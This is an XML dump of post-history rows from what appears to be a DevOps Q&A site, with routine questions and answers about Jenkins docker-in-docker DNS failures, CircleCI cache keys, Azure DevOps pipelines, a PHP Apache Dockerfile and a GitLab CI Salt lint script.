  <row Id="26899" PostHistoryTypeId="3" PostId="9145" RevisionGUID="e08ec1e7-6512-4b96-9167-258d63f1f849" CreationDate="2019-09-11T14:52:15.773" UserId="17021" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26900" PostHistoryTypeId="50" PostId="8868" RevisionGUID="a808e21d-daf4-46db-80d3-2f6c41bc7853" CreationDate="2019-09-11T15:00:08.347" UserId="-1" />
  <row Id="26901" PostHistoryTypeId="50" PostId="5743" RevisionGUID="482956ce-d958-481a-93e5-9ae17af2ead2" CreationDate="2019-09-11T16:02:55.437" UserId="-1" />
  <row Id="26902" PostHistoryTypeId="2" PostId="9146" RevisionGUID="f0d48b68-68b1-4e09-b8d8-2a2ecd49d884" CreationDate="2019-09-11T16:05:32.863" UserId="4637" Text="So Jenkins is installed inside the cluster with this [official helm chart][1]. And this is my installed plugins as per helm release values: &#xD;&#xA;&#xD;&#xA;      installPlugins:&#xD;&#xA;      - kubernetes:1.18.1&#xD;&#xA;      - workflow-job:2.33&#xD;&#xA;      - workflow-aggregator:2.6&#xD;&#xA;      - credentials-binding:1.19&#xD;&#xA;      - git:3.11.0&#xD;&#xA;      - blueocean:1.19.0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;my Jenkinsfile relies on the following pod template to spin up slaves:&#xD;&#xA;&#xD;&#xA;    kind: Pod&#xD;&#xA;    spec:&#xD;&#xA;      # dnsConfig:&#xD;&#xA;      #   options:&#xD;&#xA;      #     - name: ndots&#xD;&#xA;      #       value: &quot;1&quot;&#xD;&#xA;      containers:&#xD;&#xA;      - name: dind&#xD;&#xA;        image: docker:19-dind&#xD;&#xA;        command:&#xD;&#xA;        - cat&#xD;&#xA;        tty: true&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: dockersock&#xD;&#xA;          readOnly: true&#xD;&#xA;          mountPath: /var/run/docker.sock&#xD;&#xA;        resources:&#xD;&#xA;          limits:&#xD;&#xA;            cpu: 500m&#xD;&#xA;            memory: 512Mi&#xD;&#xA;      volumes:&#xD;&#xA;      - name: dockersock&#xD;&#xA;        hostPath: &#xD;&#xA;          path: /var/run/docker.sock&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Slaves (pod /dind container) starts nicely as expected whenever there is new Build. &#xD;&#xA;&#xD;&#xA;However, it broke at the step of &quot;docker build&quot; in ( Jenkinsfile pipeline&#xD;&#xA; `docker build -t ...` ) and it breaks there : &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Step 16/24 : RUN      ../gradlew clean bootJar&#xD;&#xA;    &#xD;&#xA;     ---&gt; Running in f14b6418b3dd&#xD;&#xA;    &#xD;&#xA;    Downloading https://services.gradle.org/distributions/gradle-5.5-all.zip&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Exception in thread &quot;main&quot; java.net.UnknownHostException: services.gradle.org&#xD;&#xA;    &#xD;&#xA;    	at java.base/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:220)&#xD;&#xA;    &#xD;&#xA;    	at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:403)&#xD;&#xA;    &#xD;&#xA;    	at java.base/java.net.Socket.connect(Socket.java:591)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.security.ssl.SSLSocketImpl.connect(SSLSocketImpl.java:285)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.security.ssl.BaseSSLSocketImpl.connect(BaseSSLSocketImpl.java:173)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.NetworkClient.doConnect(NetworkClient.java:182)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.http.HttpClient.openServer(HttpClient.java:474)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.http.HttpClient.openServer(HttpClient.java:569)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.https.HttpsClient.&lt;init&gt;(HttpsClient.java:265)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.https.HttpsClient.New(HttpsClient.java:372)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.getNewHttpClient(AbstractDelegateHttpsURLConnection.java:191)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1187)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1081)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:177)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1587)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1515)&#xD;&#xA;    &#xD;&#xA;    	at java.base/sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:250)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.Download.downloadInternal(Download.java:67)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.Download.download(Download.java:52)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.Install$1.call(Install.java:62)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.Install$1.call(Install.java:48)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.ExclusiveFileAccessManager.access(ExclusiveFileAccessManager.java:69)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.Install.createDist(Install.java:48)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.WrapperExecutor.execute(WrapperExecutor.java:107)&#xD;&#xA;    &#xD;&#xA;    	at org.gradle.wrapper.GradleWrapperMain.main(GradleWrapperMain.java:63)&#xD;&#xA;    &#xD;&#xA;    The command '/bin/sh -c ../gradlew clean bootJar' returned a non-zero code:&#xD;&#xA;&#xD;&#xA;At the first galance, I thought it's DNS resolution issue with the Slave container (`docker:19-dind`) since it is alpine.&#xD;&#xA;That's why I debug its `/etc/resolv.conf` by adding `sh &quot;cat /etc/resolv.conf&quot;` in the Jenkinsfile. &#xD;&#xA;&#xD;&#xA;I got : &#xD;&#xA;&#xD;&#xA;    nameserver 172.20.0.10&#xD;&#xA;    search cicd.svc.cluster.local svc.cluster.local cluster.local ap-southeast-1.compute.internal&#xD;&#xA;    options ndots:5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I removed the last line `options ndots:5` as per recommendation of many thread on the internet.&#xD;&#xA;&#xD;&#xA;But it does not fix the issue. &#xD;&#xA;&#xD;&#xA;I thought again and again and I realized that the container responsible for this error is not the Slave (docker:19-dind), instead, it is the intermediate containers that are opened to satisfy `docker build`. &#xD;&#xA;&#xD;&#xA;As consequence,  I added `RUN cat /etc/resolv.conf` as another layer in the Dockerfile (which starts by `FROM gradle:5.5-jdk11`). &#xD;&#xA;&#xD;&#xA;Now, the `resolv.conf` is different : &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Step 15/24 : RUN cat /etc/resolv.conf&#xD;&#xA;    &#xD;&#xA;     ---&gt; Running in 91377c9dd519&#xD;&#xA;    &#xD;&#xA;    ; generated by /usr/sbin/dhclient-script&#xD;&#xA;    &#xD;&#xA;    search ap-southeast-1.compute.internal&#xD;&#xA;    &#xD;&#xA;    options timeout:2 attempts:5&#xD;&#xA;    &#xD;&#xA;    nameserver 10.0.0.2&#xD;&#xA;    &#xD;&#xA;    Removing intermediate container 91377c9dd519&#xD;&#xA;    &#xD;&#xA;     ---&gt; abf33839df9a&#xD;&#xA;    &#xD;&#xA;    Step 16/24 : RUN      ../gradlew clean bootJar&#xD;&#xA;    &#xD;&#xA;     ---&gt; Running in f14b6418b3dd&#xD;&#xA;    &#xD;&#xA;    Downloading https://services.gradle.org/distributions/gradle-5.5-all.zip&#xD;&#xA;    &#xD;&#xA;    Exception in thread &quot;main&quot; java.net.UnknownHostException: services.gradle.org&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Basically, it is a different nameserver `10.0.0.2` than the nameserver of the slave container `172.20.0.10`. There is NO `ndots:5` in resolv.conf this intermediate container.&#xD;&#xA;&#xD;&#xA;I was confused after all these debugging steps and a lot of attempts. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Architecture&#xD;&#xA;&#xD;&#xA;    Jenkins Server (Container )&#xD;&#xA;         ||&#xD;&#xA;    (spin up slaves)&#xD;&#xA;         ||__ SlaveA (Container, image: docker:19-dind)&#xD;&#xA;                 ||&#xD;&#xA;           ( run &quot;docker build&quot; )&#xD;&#xA;                 ||&#xD;&#xA;                 ||_ intermediate (container, image: gradle:5.5-jdk11 )&#xD;&#xA;             &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/helm/charts/tree/master/stable/jenkins&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26903" PostHistoryTypeId="1" PostId="9146" RevisionGUID="f0d48b68-68b1-4e09-b8d8-2a2ecd49d884" CreationDate="2019-09-11T16:05:32.863" UserId="4637" Text="docker build throws UnknownHostException with jenkins dind slave + kubernetes plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26904" PostHistoryTypeId="3" PostId="9146" RevisionGUID="f0d48b68-68b1-4e09-b8d8-2a2ecd49d884" CreationDate="2019-09-11T16:05:32.863" UserId="4637" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;dns&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26906" PostHistoryTypeId="2" PostId="9147" RevisionGUID="6d0dc289-3bda-468f-8c2c-51d6c2f58b1e" CreationDate="2019-09-11T16:23:32.497" UserId="12089" Text="Using this configuration:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  test:&#xD;&#xA;    docker:&#xD;&#xA;    - image: nixorg/nix:circleci&#xD;&#xA;    environment:&#xD;&#xA;    - NIXPKGS_REV: 3c83ad6ac13b67101cc3e2e07781963a010c1624&#xD;&#xA;    steps:&#xD;&#xA;    - restore_cache:&#xD;&#xA;        name: Restore Nix Store Paths&#xD;&#xA;        keys:&#xD;&#xA;        - paymentserver-nix-store-v1-{{ .Environment.NIXPKGS_REV }}&#xD;&#xA;        - paymentserver-nix-store-v1-&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The job tries to restore the cache using the key `paymentserver-nix-store-v1-&lt;no value&gt;`.&#xD;&#xA;&#xD;&#xA;https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-job says this is the correct way to set an environment variable.  https://circleci.com/docs/2.0/caching/#using-keys-and-templates says interpolating environment variables this way is supported for cache keys.&#xD;&#xA;&#xD;&#xA;What's going on?  How do I use the value of an environment variable in a cache key?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="26907" PostHistoryTypeId="1" PostId="9147" RevisionGUID="6d0dc289-3bda-468f-8c2c-51d6c2f58b1e" CreationDate="2019-09-11T16:23:32.497" UserId="12089" Text="How to get other than &quot;&lt;no value&gt;&quot; when interpolating {{ .Environment.SOME_VAR }} (with SOME_VAR set) into cache key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26908" PostHistoryTypeId="3" PostId="9147" RevisionGUID="6d0dc289-3bda-468f-8c2c-51d6c2f58b1e" CreationDate="2019-09-11T16:23:32.497" UserId="12089" Text="&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26913" PostHistoryTypeId="5" PostId="9147" RevisionGUID="039cb582-7639-4fc4-ba21-3b7a13317068" CreationDate="2019-09-11T16:32:01.493" UserId="12089" Comment="remove yaml list, dunno where that came from" Text="Using this configuration:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  test:&#xD;&#xA;    docker:&#xD;&#xA;    - image: nixorg/nix:circleci&#xD;&#xA;    environment:&#xD;&#xA;      NIXPKGS_REV: 3c83ad6ac13b67101cc3e2e07781963a010c1624&#xD;&#xA;    steps:&#xD;&#xA;    - restore_cache:&#xD;&#xA;        name: Restore Nix Store Paths&#xD;&#xA;        keys:&#xD;&#xA;        - paymentserver-nix-store-v1-{{ .Environment.NIXPKGS_REV }}&#xD;&#xA;        - paymentserver-nix-store-v1-&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The job tries to restore the cache using the key `paymentserver-nix-store-v1-&lt;no value&gt;`.&#xD;&#xA;&#xD;&#xA;https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-job says this is the correct way to set an environment variable.  https://circleci.com/docs/2.0/caching/#using-keys-and-templates says interpolating environment variables this way is supported for cache keys.&#xD;&#xA;&#xD;&#xA;What's going on?  How do I use the value of an environment variable in a cache key?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="26914" PostHistoryTypeId="5" PostId="9145" RevisionGUID="1ba0894f-2898-4eeb-9c0e-8fad388900a4" CreationDate="2019-09-11T18:16:02.133" UserId="17021" Comment="added 171 characters in body" Text="My manager would like to use the Azure DevOps board feature to keep track of her employee's tasks but asked if there is a way so that only she can move or closeout task items. It's a process control issue. Can changing the status (TODO, DOING, DONE) of a task item in Azure DevOps be locked down to a certain role or user account? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26915" PostHistoryTypeId="5" PostId="9147" RevisionGUID="177db132-e450-4a8e-96a3-196ca4cb677b" CreationDate="2019-09-11T18:36:20.127" UserId="739" Comment="remove premature thanks" Text="Using this configuration:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  test:&#xD;&#xA;    docker:&#xD;&#xA;    - image: nixorg/nix:circleci&#xD;&#xA;    environment:&#xD;&#xA;      NIXPKGS_REV: 3c83ad6ac13b67101cc3e2e07781963a010c1624&#xD;&#xA;    steps:&#xD;&#xA;    - restore_cache:&#xD;&#xA;        name: Restore Nix Store Paths&#xD;&#xA;        keys:&#xD;&#xA;        - paymentserver-nix-store-v1-{{ .Environment.NIXPKGS_REV }}&#xD;&#xA;        - paymentserver-nix-store-v1-&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The job tries to restore the cache using the key `paymentserver-nix-store-v1-&lt;no value&gt;`.&#xD;&#xA;&#xD;&#xA;https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-job says this is the correct way to set an environment variable.  https://circleci.com/docs/2.0/caching/#using-keys-and-templates says interpolating environment variables this way is supported for cache keys.&#xD;&#xA;&#xD;&#xA;What's going on?  How do I use the value of an environment variable in a cache key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26919" PostHistoryTypeId="50" PostId="8881" RevisionGUID="018327d6-01e3-4080-b3aa-06db25c4cdc7" CreationDate="2019-09-11T20:00:06.890" UserId="-1" />
  <row Id="26920" PostHistoryTypeId="50" PostId="6555" RevisionGUID="6a6509a7-1d49-4995-9089-2eab11d19942" CreationDate="2019-09-12T04:00:11.647" UserId="-1" />
  <row Id="26921" PostHistoryTypeId="50" PostId="6445" RevisionGUID="ddba9f30-844f-4bbd-9331-9876d2eeecd8" CreationDate="2019-09-12T05:01:30.157" UserId="-1" />
  <row Id="26922" PostHistoryTypeId="5" PostId="9124" RevisionGUID="a33aa694-be94-450f-9345-365be468eba7" CreationDate="2019-09-12T06:53:43.790" UserId="10" Comment="added 375 characters in body" Text="You'll want to use the CHANGE_TARGET environment variable.  If that variable exists then you are dealing with a merge request. &#xD;&#xA;&#xD;&#xA;You can use the following code snipped to then determine the branch name and alter the job's logic depending on which branch the code is being merged into.&#xD;&#xA;&#xD;&#xA;`branchName = env.CHANGE_TARGET ? env.CHANGE_TARGET : env.BRANCH_NAME`&#xD;&#xA;&#xD;&#xA;In your code example you would replace  &#xD;&#xA;```&#xD;&#xA;        expression {&#xD;&#xA;         return env.BRANCH_NAME != 'feature_cicd'&#xD;&#xA;         echo env.BRANCH_NAME&#xD;&#xA;        }&#xD;&#xA; ```&#xD;&#xA;&#xD;&#xA;with   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        expression {&#xD;&#xA;         branchName = env.CHANGE_TARGET ? env.CHANGE_TARGET : env.BRANCH_NAME&#xD;&#xA;         return branchName != 'feature_cicd'&#xD;&#xA;         echo branchName&#xD;&#xA;        }&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26926" PostHistoryTypeId="50" PostId="5385" RevisionGUID="3cac9807-8d42-42e3-bfd2-71f54f5132e4" CreationDate="2019-09-12T08:02:45.387" UserId="-1" />
  <row Id="26930" PostHistoryTypeId="50" PostId="6539" RevisionGUID="be3acbf3-2b81-456d-a5f9-23c64593465a" CreationDate="2019-09-12T11:03:20.443" UserId="-1" />
  <row Id="26931" PostHistoryTypeId="50" PostId="5437" RevisionGUID="f819150f-db88-4ee2-a629-21796651f6c2" CreationDate="2019-09-12T12:01:35.577" UserId="-1" />
  <row Id="26940" PostHistoryTypeId="2" PostId="9153" RevisionGUID="a769f0a2-2b5e-4623-baee-764e12f5ebb1" CreationDate="2019-09-12T14:31:14.013" UserId="17042" Text="I suspect this may be something coming from containerd changes - running PCF 2.5 the runc list works fine, 2.6 runc list shows nothing in the inventory.  I have *not* yet found the equivalent command that will allow me to find the container id and how to execute a shell entry to that container instance yet, but I'm hot on the trail." ContentLicense="CC BY-SA 4.0" />
  <row Id="26946" PostHistoryTypeId="2" PostId="9156" RevisionGUID="ffb96c86-4d98-4e8b-a561-295ee732c4ac" CreationDate="2019-09-12T18:31:56.423" UserId="17030" Text="I'm a little confused on the Azure Pipeline steps.  My solutions has many projects and one *UI* project that contains both an ASP.Net-Core WebApi/MVC with Angular.&#xD;&#xA;&#xD;&#xA;the `Build Solution` builds similar to the&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;steps:&#xD;&#xA;- task: VSBuild@1&#xD;&#xA;  displayName: 'Build solution'&#xD;&#xA;  inputs:&#xD;&#xA;    solution: '$(Parameters.solution)'&#xD;&#xA;    msbuildArgs: '/p:DeployOnBuild=true &#xD;&#xA;      /p:WebPublishMethod=Package &#xD;&#xA;      /p:PackageAsSingleFile=true &#xD;&#xA;      /p:SkipInvalidConfigurations=true &#xD;&#xA;      /p:PackageLocation=&quot;$(build.artifactstagingdirectory)\\&quot;'&#xD;&#xA;    platform: '$(BuildPlatform)'&#xD;&#xA;    configuration: '$(BuildConfiguration)'&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The default `Publish Artifact` is:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;steps:&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  displayName: 'Publish Artifact: drop'&#xD;&#xA;  inputs:&#xD;&#xA;    PathtoPublish: '$(build.artifactstagingdirectory)'&#xD;&#xA;  condition: succeededOrFailed()&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'd like to do something with 2 artifacts (this doesn't work):&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;steps:&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  displayName: 'Publish Artifact: webapi'&#xD;&#xA;  inputs:&#xD;&#xA;    PathtoPublish: '$(build.artifactstagingdirectory)\\MVCProject\bin\$(BuildConfiguration)\netcorapp2.2'&#xD;&#xA;    ArtifactName: webapi&#xD;&#xA;  condition: succeededOrFailed()&#xD;&#xA;&#xD;&#xA;steps:&#xD;&#xA;- task: PublishBuildArtifacts@1&#xD;&#xA;  displayName: 'Publish Artifact: angular'&#xD;&#xA;  inputs:&#xD;&#xA;    PathtoPublish: '$(build.artifactstagingdirectory)\\MVCProject\clientapp\dist'&#xD;&#xA;    ArtifactName: angular&#xD;&#xA;  condition: succeededOrFailed()&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What am I missing / What the *right/better* way to do this.&#xD;&#xA;(moving angular out of the project does not solve this problem, and we aren't ready for that yet)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26947" PostHistoryTypeId="1" PostId="9156" RevisionGUID="ffb96c86-4d98-4e8b-a561-295ee732c4ac" CreationDate="2019-09-12T18:31:56.423" UserId="17030" Text="Single Build with Multiple Artifacts" ContentLicense="CC BY-SA 4.0" />
  <row Id="26948" PostHistoryTypeId="3" PostId="9156" RevisionGUID="ffb96c86-4d98-4e8b-a561-295ee732c4ac" CreationDate="2019-09-12T18:31:56.423" UserId="17030" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26953" PostHistoryTypeId="50" PostId="6350" RevisionGUID="c0e214ed-f337-48b6-9bac-89189385b7bf" CreationDate="2019-09-12T20:02:30.323" UserId="-1" />
  <row Id="26964" PostHistoryTypeId="50" PostId="8361" RevisionGUID="ba161978-88e2-488d-b0b6-fc70603f89e7" CreationDate="2019-09-13T10:00:50.077" UserId="-1" />
  <row Id="26965" PostHistoryTypeId="2" PostId="9161" RevisionGUID="9accbb48-e93b-46fc-83b8-b78b06763d00" CreationDate="2019-09-13T10:43:52.473" UserId="10820" Text="I'm trying to deploy PHP files in Apache container using Dockerfile, Dockerfile on console shows successfully built and tagged but after running the container, i couldn't access the container IP or Container URL in local browser&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;FROM ubuntu:bionic&#xD;&#xA;&#xD;&#xA;# Install apache, PHP, and supplimentary programs. openssh-server, curl, and lynx-cur are for debugging the container.&#xD;&#xA;RUN apt-get update&#xD;&#xA;RUN apt-get install -y software-properties-common &amp;&amp; \add-apt-repository ppa:ondrej/php &amp;&amp; apt-get update&#xD;&#xA;RUN apt-get -y upgrade &amp;&amp; DEBIAN_FRONTEND=noninteractive apt-get -y install \&#xD;&#xA;   apache2 php7.0 php7.0-mysql libapache2-mod-php7.0&#xD;&#xA;&#xD;&#xA;# Update the PHP.ini file, enable &lt;? ?&gt; tags and quieten logging.&#xD;&#xA;RUN sed -i &quot;s/short_open_tag = Off/short_open_tag = On/&quot; /etc/php/7.0/apache2/php.ini&#xD;&#xA;RUN sed -i &quot;s/error_reporting = .*$/error_reporting = E_ERROR | E_WARNING | E_PARSE/&quot; /etc/php/7.0/apache2/php.ini&#xD;&#xA;&#xD;&#xA;# Manually set up the apache environment variables&#xD;&#xA;ENV APACHE_RUN_USER www-data&#xD;&#xA;ENV APACHE_RUN_GROUP www-data&#xD;&#xA;ENV APACHE_LOG_DIR /var/log/apache2&#xD;&#xA;ENV APACHE_LOCK_DIR /var/lock/apache2&#xD;&#xA;ENV APACHE_PID_FILE /var/run/apache2.pid&#xD;&#xA;&#xD;&#xA;# Expose apache.&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;# Copy this repo into place.&#xD;&#xA;ADD www /var/www/site&#xD;&#xA;&#xD;&#xA;# Update the default apache site with the config we created.&#xD;&#xA;ADD apache-config.conf /etc/apache2/sites-enabled/000-default.conf&#xD;&#xA;ADD hosts /etc/hosts&#xD;&#xA;&#xD;&#xA;# By default start up apache in the foreground, override with /bin/bash for interative.&#xD;&#xA;CMD /usr/sbin/apache2ctl -D FOREGROUND" ContentLicense="CC BY-SA 4.0" />
  <row Id="26966" PostHistoryTypeId="1" PostId="9161" RevisionGUID="9accbb48-e93b-46fc-83b8-b78b06763d00" CreationDate="2019-09-13T10:43:52.473" UserId="10820" Text="Docker: PHP deployment in apache, couldn't acces container URL in local browser; shows blank page" ContentLicense="CC BY-SA 4.0" />
  <row Id="26967" PostHistoryTypeId="3" PostId="9161" RevisionGUID="9accbb48-e93b-46fc-83b8-b78b06763d00" CreationDate="2019-09-13T10:43:52.473" UserId="10820" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26968" PostHistoryTypeId="5" PostId="9161" RevisionGUID="5844d8fc-0b5a-4bf7-93f5-e9d6d4e4e255" CreationDate="2019-09-13T10:57:19.987" UserId="10820" Comment="deleted 440 characters in body" Text="I'm trying to deploy PHP files in Apache container using Dockerfile, Dockerfile on console shows successfully built and tagged but after running the container, i couldn't access the container IP or Container URL in local browser&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM ubuntu:bionic&#xD;&#xA;RUN apt-get update&#xD;&#xA;RUN apt-get install -y software-properties-common &amp;&amp; \add-apt-repository ppa:ondrej/php &amp;&amp; apt-get update&#xD;&#xA;RUN apt-get -y upgrade &amp;&amp; DEBIAN_FRONTEND=noninteractive apt-get -y install \&#xD;&#xA;apache2 php7.0 php7.0-mysql libapache2-mod-php7.0&#xD;&#xA;RUN sed -i &quot;s/short_open_tag = Off/short_open_tag = On/&quot; /etc/php/7.0/apache2/php.ini&#xD;&#xA;RUN sed -i &quot;s/error_reporting = .*$/error_reporting = E_ERROR | E_WARNING | E_PARSE/&quot; /etc/php/7.0/apache2/php.ini&#xD;&#xA;&#xD;&#xA;ENV APACHE_RUN_USER www-data&#xD;&#xA;ENV APACHE_RUN_GROUP www-data&#xD;&#xA;ENV APACHE_LOG_DIR /var/log/apache2&#xD;&#xA;ENV APACHE_LOCK_DIR /var/lock/apache2&#xD;&#xA;ENV APACHE_PID_FILE /var/run/apache2.pid&#xD;&#xA;&#xD;&#xA;EXPOSE 80&#xD;&#xA;ADD www /var/www/site&#xD;&#xA;ADD apache-config.conf /etc/apache2/sites-enabled/000-default.conf&#xD;&#xA;ADD hosts /etc/hosts&#xD;&#xA;CMD /usr/sbin/apache2ctl -D FOREGROUND ```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26969" PostHistoryTypeId="50" PostId="6868" RevisionGUID="a501bf70-1fa1-4337-b6d9-55e99683ffc0" CreationDate="2019-09-13T11:00:35.050" UserId="-1" />
  <row Id="26970" PostHistoryTypeId="2" PostId="9162" RevisionGUID="f86cfde5-2d5b-409f-86ce-7ff1937d808c" CreationDate="2019-09-13T11:57:54.827" UserId="6356" Text="I have a problem I can't get my head around in gitlab-ci: I have a monorepo where I store some infra code (IaC), in this repo I have a script which allow me to lint the saltstack states code, as :&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA; &#xD;&#xA;# Std var&#xD;&#xA;_hostname=$(hostname -f)&#xD;&#xA;&#xD;&#xA;for file in $( find . -iname &quot;*.sls&quot; ! \( -path '*/files/orchestration_states/*' -or -path '*/files/reactor_states/*' -or -name &quot;top.sls&quot; \) ); do&#xD;&#xA;    state_path_name=$( echo ${file%.*}| tr -d &quot;.&quot;| tr &quot;/&quot; &quot;.&quot;)&#xD;&#xA;    if ! sudo salt-call --file-root=. --pillar-root=/home/gitlab-runner/salt_pillars/testBed/ --local --retcode-passthrough state.show_sls ${state_path_name}  pillar='{&quot;tgt_client_name&quot;: &quot;dummy-dummy.domain}' ; then &#xD;&#xA;        echo -e &quot;&gt; Error found while validating state file: please fix it!\&#xD;&#xA; 	    \n&#xD;&#xA;        \nDetails:\&#xD;&#xA;        \n - File(s) name(s): ${state_path_name}\&#xD;&#xA;     	\n - Pipeline ID: ${CI_JOB_ID}\&#xD;&#xA;     	\n&#xD;&#xA; 	    \n - Job link: ${CI_JOB_URL}&quot;\&#xD;&#xA;     	|mail -s &quot;${CI_PROJECT_NAME} | Pipeline #${CI_JOB_ID} has failed&quot; -aFrom:${_hostname}@spie.com &quot;mail@domain.com&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;done&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;In this script I need to update the `--pillar-root=/home/gitlab-runner/salt_pillars/testBed/` to replace the `testBed` string by something lese, let's say `toto`.&#xD;&#xA;But when I update the string inside the repo the runner keeps using the old version of this script (which failed because the path is not correct).&#xD;&#xA;&#xD;&#xA;I can see the correct version of the script inside the repo, but the runner does not update this script when fetching the branch to lint the states.&#xD;&#xA;&#xD;&#xA;Any ideas about why the runner does not update the script ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="26971" PostHistoryTypeId="1" PostId="9162" RevisionGUID="f86cfde5-2d5b-409f-86ce-7ff1937d808c" CreationDate="2019-09-13T11:57:54.827" UserId="6356" Text="gitlab -ci script not being updated on runner" ContentLicense="CC BY-SA 4.0" />
  <row Id="26972" PostHistoryTypeId="3" PostId="9162" RevisionGUID="f86cfde5-2d5b-409f-86ce-7ff1937d808c" CreationDate="2019-09-13T11:57:54.827" UserId="6356" Text="&lt;salt&gt;&lt;gitlab-ci-runner&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26973" PostHistoryTypeId="2" PostId="9163" RevisionGUID="00f48543-d8c5-4eb4-b46c-1726146f9d0d" CreationDate="2019-09-13T12:40:20.707" UserId="16683" Text="You need to expose the container ports locally using either:&#xD;&#xA;&#xD;&#xA;- `docker run --rm -it -p 8080:80 myapp`&#xD;&#xA;- or a `docker-compose.yml` file:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;services:&#xD;&#xA;  myapp:&#xD;&#xA;    image: myapp:tag&#xD;&#xA;    ports:&#xD;&#xA;    - 8080:80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, you'll be able to `curl localhost:8080`." ContentLicense="CC BY-SA 4.0" />
